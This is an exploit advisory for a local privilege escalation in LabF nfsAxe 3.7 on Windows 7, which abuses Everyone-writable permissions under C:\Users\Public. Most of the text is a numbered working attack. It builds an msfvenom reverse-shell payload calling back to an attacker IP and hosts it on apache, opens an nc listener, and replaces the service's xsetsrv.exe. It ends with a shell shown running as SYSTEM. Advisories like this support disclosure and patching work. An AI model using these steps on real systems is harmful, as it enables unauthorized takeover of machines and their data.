LabF nfsAxe 3.7 Privilege Escalation

`Exploit Author: bzyo  
Twitter: @bzyo_  
Exploit Title: LabF nfsAxe 3.7 - Privilege Escalation  
Date: 03-24-2018  
Vulnerable Software: LabF nfsAxe 3.7  
Vendor Homepage: http://www.labf.com/  
Version: 3.7  
Software Link: http://www.labf.com/download/nfsaxe.exe  
Tested On: Windows 7 x86 and x64 *Requires Windows 7 Public Sharing to be enabled  
  
  
Details:  
By default LabF nfsAxe 3.7 installs to "C:\Users\Public\Program Files\LabF.com\nfsAxe" and installs  
a service called "XwpXSetSrvnfsAxe service". To start this service an executable "xsetsrv.exe"   
is located in the same directory and also runs under Local System.  
  
By default in Windows with Public Folder sharing enabled, the permissions on any file/folder under "C:\Users\Public\" is Full Control  
for Everyone. This means unprivileged users have the ability to add, delete, or modify any and all   
files/folders.  
  
  
Exploit:  
1. Generate malicious .exe on attacking machine  
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -f exe > /var/www/html/xsetsrv.exe  
  
2. Setup listener and start apache on attacking machine  
nc -nlvvp 443  
service apache2 start  
  
3. Download malicious .exe on victim machine  
Open browser to http://192.168.0.149/xsetsrv.exe and download  
  
4. Rename C:\Users\Public\Program Files\LabF.com\nfsAxe\xsetsrv.exe  
xsetsrv.exe > xsetsrv.bak  
  
5. Copy/Move downloaded xsetsrv.exe file to C:\Users\Public\Program Files\LabF.com\nfsAxe\  
  
6. Restart victim machine and login as unprivileged user   
  
7. Reverse Shell on attacking machine opens  
C:\Windows\system32>whoami  
whoami  
nt authority\system  
  
Prerequisites:  
To successfully exploit this vulnerability, an attacker must already have access  
to a system running a LabF nfsAxe installed at the default location using a  
low-privileged user account  
  
Risk:  
The vulnerability allows local attackers to escalate privileges and execute  
arbitrary code as Local System aka Game Over.  
  
Fix:  
Don't use default install path  
  
`